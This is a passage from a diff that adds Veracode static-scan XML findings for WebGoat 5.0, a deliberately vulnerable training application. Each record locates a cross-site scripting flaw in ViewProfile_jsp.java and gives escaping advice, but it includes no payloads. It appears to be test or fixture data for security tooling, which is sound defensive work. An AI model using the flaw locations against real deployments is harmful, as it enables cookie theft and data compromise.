+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"179\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"32\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"145\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.htmlEncode().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"73\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"40\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"76\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"119\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
